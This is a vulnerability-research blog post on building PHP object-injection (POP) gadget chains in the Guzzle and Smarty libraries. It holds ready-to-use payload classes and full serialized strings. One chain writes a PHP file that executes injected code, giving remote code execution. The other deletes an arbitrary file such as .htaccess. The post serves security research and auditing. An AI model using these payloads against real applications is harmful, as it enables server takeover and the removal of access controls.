# Once You POP You Just Can't Stop

2022-12-11 · Rory Guidry · 12 min read · Vulnerability Research

Canonical: https://www.osec.com/resources/blog/once-you-pop-you-just-cant-stop

---

## No CVE? No problem

### (Unfortunately)

This is the first release in a miniseries on POP chain development in popular PHP frameworks and software. The research is written to read three ways: as a developer, as an auditor, and as an attacker. It assumes you know PHP fundamentals, but the technical detail is broken down so it stays accessible.

This installment covers POP chains in Guzzle, an HTTP client library, and Smarty, a PHP web templating system. Developers are more aware of object injection vulnerabilities than they used to be, yet many exploitable chains stay undiscovered. Building a sophisticated chain takes deep knowledge and is closer to an art than a checklist.

## Guzzle HTTP Client Analysis

The investigation begins with a suspicious `__destruct()` method, leading to discovery of the `FileCookieJar` class. The destructor calls the `save()` method with `$this->filename` as an argument.

`FileCookieJar` extends `CookieJar`, which contains two private properties:

```php
private $cookies = [];
private $strictMode;
```

`FileCookieJar` adds:

```php
private $filename;
private $storeSessionCookies;
```

The `save()` method contains a loop over the object:

```php
Foreach ($this as $cookie) {
```

PHP objects are iterable, allowing iteration through protected and private properties. The `SetCookie` class is examined next, revealing:

```php
/** @var array */
private static $defaults = [
    'Name'     => null,
    'Value'    => null,
    'Domain'   => null,
    'Path'     => '/',
    'Max-Age'  => null,
    'Expires'  => null,
    'Secure'   => false,
    'Discard'  => false,
    'HttpOnly' => false
];
/** @var array Cookie data */
private $data;
```

The `CookieJar::shouldPersist()` method checks:

```php
public static function shouldPersist(
    SetCookie $cookie,
    $allowSessionCookies = false
) {
    if ($cookie->getExpires() || $allowSessionCookies) {
        if (!$cookie->getDiscard()) {
            return true;
        }
    }
    return false;
}
```

These conditions can be satisfied by controlling object values. Initial payload attempts encountered a `TypeError` because `$this->cookies` needed to be an array type.

### Working Payload Structure

The corrected payload makes `$this->cookies` an array with `SetCookie` objects as values:

```php
<?php
namespace GuzzleHttp\Cookie;

class SetCookie {
    public function __construct(
        public array $data = []
    ){}
}

class FileCookieJar {
    public function __construct(
        public array $cookies = [],
        public string $filename = 'p0p',
        public bool $storeSessionCookies = true,
    ){
        $this->cookies = ['p0p' => (new SetCookie)];
        $this->cookies['p0p']->data = [
            'Discard' => false,
            'Expires' => null,
        ];
    }
}
```

This creates a file named `p0p` containing JSON-packed cookie data:

```json
[{"Discard":false,"Expires":null}]
```

Control is maintained over both the filename via `$filename` property and content via the `$data` array, with no sanitization applied before filesystem storage.

### Remote Code Execution Proof of Concept

To achieve RCE, the filename is changed to `p0p.php` and the `Name` field holds injected PHP code:

```php
<?php
namespace GuzzleHttp\Cookie;

class SetCookie {
    public function __construct(
        public array $data = []
    ){}
}

class FileCookieJar {
    public function __construct(
        public array $cookies = [],
        public string $filename = 'p0p.php',
        public bool $storeSessionCookies = true,
    ){
        $this->cookies = ['p0p' => (new SetCookie)];
        $this->cookies['p0p']->data = [
            'Discard' => false,
            'Expires' => time() + 3600,
            'Name' => '<?=phpinfo();?>',
        ];
    }
}
```

The serialized representation:

```
O:31:"GuzzleHttp\\Cookie\\FileCookieJar":3:{s:7:"cookies";a:1:{s:3:"p0p";O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{s:4:"data";a:3:{s:7:"Discard";b:0;s:7:"Expires";i:1667648386;s:4:"Name";s:15:"<?=phpinfo();?>";}}}s:8:"filename";s:7:"p0p.php";s:19:"storeSessionCookies";b:1;}
```

When passed to `unserialize()`, this generates `p0p.php` with contents:

```json
[{"Discard":false,"Expires":1667648386,"Name":"<?=phpinfo();?>"}]
```

Requesting this file executes the PHP code and displays `phpinfo()` output, achieving Remote Code Execution.

## SmartyPHP Analysis

The investigation continues with the `Smarty_Internal_Template` class destructor:

```php
$this->cached->handler->releaseLock($this->smarty, $this->cached);
```

This executes before a conditional check:

```php
if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {
```

By controlling object properties, control flow can be redirected to different implementations of `releaseLock()`.

The `Smarty` class contains:

```php
/**
 * Controls whether cache resources should use locking mechanism
 *
 * @var boolean
 */
public $cache_locking = false;
```

The `Smarty_Template_Cached` class contains:

```php
/**
 * flag that cache is locked by this instance
 *
 * @var bool
 */
public $is_locked = false;
```

Both values need to be set to `true` to trigger the conditional. The handler property type can be manipulated:

```php
/**
 * CacheResource Handler
 *
 * @var Smarty_CacheResource
 */
public $handler = null;
```

### Exploitable releaseLock() Implementation

The `Smarty_Internal_CacheResource_File` class contains an exploitable `releaseLock()` implementation:

```php
public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached) {
    $cached->is_locked = false;
    unlink($cached->lock_id);
}
```

The `lock_id` property is a string:

```php
/**
 * Id for cache locking
 *
 * @var string
 */
public $lock_id = null;
```

### Smarty Payload Construction

By setting `$this->cached->handler` to an instance of `Smarty_Internal_CacheResource_File`, the `unlink()` call triggers with a controlled filename:

```php
<?php
class Smarty {
    public function __construct(
        public bool $cache_locking = true
    ){}
}

class Smarty_Template_Cached {
    public function __construct(
        public bool $is_locked = true,
        public string $lock_id = '.htaccess'
    ){}
}

class Smarty_Internal_Template {
    public function __construct(
        public $smarty = new Smarty,
        public $cached = new Smarty_Template_Cached
    ){
        $this->cached->handler = new Smarty_Internal_CacheResource_File;
    }
}
```

The serialized payload:

```
O:24:"Smarty_Internal_Template":2:{s:6:"smarty";O:6:"Smarty":1:{s:13:"cache_locking";b:1;}s:6:"cached";O:22:"Smarty_Template_Cached":3:{s:9:"is_locked";b:1;s:7:"lock_id";s:9:".htaccess";s:7:"handler";O:34:"Smarty_Internal_CacheResource_File":0:{}}}
```

When passed to `unserialize()`, this deletes the `.htaccess` file from the filesystem, provided the script-execution user has the permissions to do so. File deletion sounds minor until you remember how many applications lean on a single file to gate access to resources or to lock an installation against re-installation.

---

Part 2 continues the POP chain research series.
